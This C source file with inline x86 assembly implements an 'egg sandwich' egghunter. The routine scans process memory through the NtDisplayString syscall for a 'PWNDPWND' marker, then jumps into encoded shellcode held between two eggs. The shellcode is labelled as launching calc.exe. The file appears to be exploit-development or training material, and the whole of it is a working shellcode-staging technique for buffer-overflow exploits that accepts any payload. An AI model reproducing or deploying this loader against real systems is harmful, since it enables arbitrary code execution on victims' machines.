#include <Windows.h>
#include <stdio.h>

int _NtDisplayStringEggSandwich () { // conversion of egghunter and omellete egghunter

	__asm{
		entry:
		loop_inc_page:
			or dx,0x0fff                        // add PAGE_SIZE - 1 to EDX to get the last address in the page 

		loop_inc_one:
			inc edx                             // increment EDX by 1 to get current address

		check_memory:
			push edx                            // save current address to stack
			push 0x43                           // push Syscall for NtDisplayString to stack
			pop eax                             // pop syscall parameter into EAX for syscall
			int 0x2e                            // issue interrupt to make syscall
			cmp al,0x5                          // compare low order byte of eax to 0x5 (indicates access violation)
			pop edx                             // restore EDX from the stack
			je loop_inc_page					// if zf flag = 1, access violation, jump back to loop_inc_page

		check_egg:
			mov eax,0x444e5750                  // valid address, move egg value (PWND) into EAX for comparison
			mov edi,edx                         // set edi to current address pointer for use in scasd
			scasd				                // compare value in EAX to dword value addressed by EDI
                                                // increment EDI by 4 if DF flag is 0 or decrement if 1
			jnz loop_inc_one                    // egg not found, jump back to loop_inc_one
			scasd				                // first half of egg found, compare next half
			jnz loop_inc_one		            // only first half found, jump back to loop_inc_one

		found_egg:
			mov esi,edi                         // first egg found, move start address of shellcode to ESI for LODSB                             $
			xor eax, eax                        // clear EAX contents; necessary for add/sub instructions
			lodsb                               // loads egg number (1 or 2) into AL
			mov edx,edi                         // move start of shellcode into EDX
			cmp al,0x1                          // determine if this is the first egg or second egg
			lodsb								// loads offset to opposite egg/start of shellcode
			jnz second_egg						// second egg found, goto second_egg

		first_egg:
			add edx, eax                        // increment EDX by size of shellcode to point to 2nd egg for next check_egg
			jnz check_egg                       // jump back to check_egg 

		second_egg: 
			sub edi, eax                        // decrement EDI to point to start of shellcode
			jmp edi                             // execute shellcode
	}
}

int  main(){
	
	// variable declaration to load shellcode into memory 
	char shell[] =	"\x50\x57\x4e\x44\x50\x57\x4e\x44" // egg #1 = PWNDPWND
					"\x01\xe3" // egg identifier (1) and offset to egg #2 (227, shellcode size)
					// start calc.exe shellcode ...
					"\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9"
					"\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" 
					"\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" 
					"\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" 
					"\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1"
					"\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" 
					"\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" 
					"\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b"
					"\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2"
					"\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37"
					"\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3"
					"\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef"
					"\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb"
					"\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf"
					"\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83"
					"\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3"
					"\x9a\xca\xc0"
					// end calc.exe shellcode
					"\x50\x57\x4e\x44\x50\x57\x4e\x44" // egg #2 = PWNDPWND
					"\02\xeb"; // egg identifer (2) and offset to beggining of shellcode (235)
	
	_NtDisplayStringEggSandwich ();
		 
	

}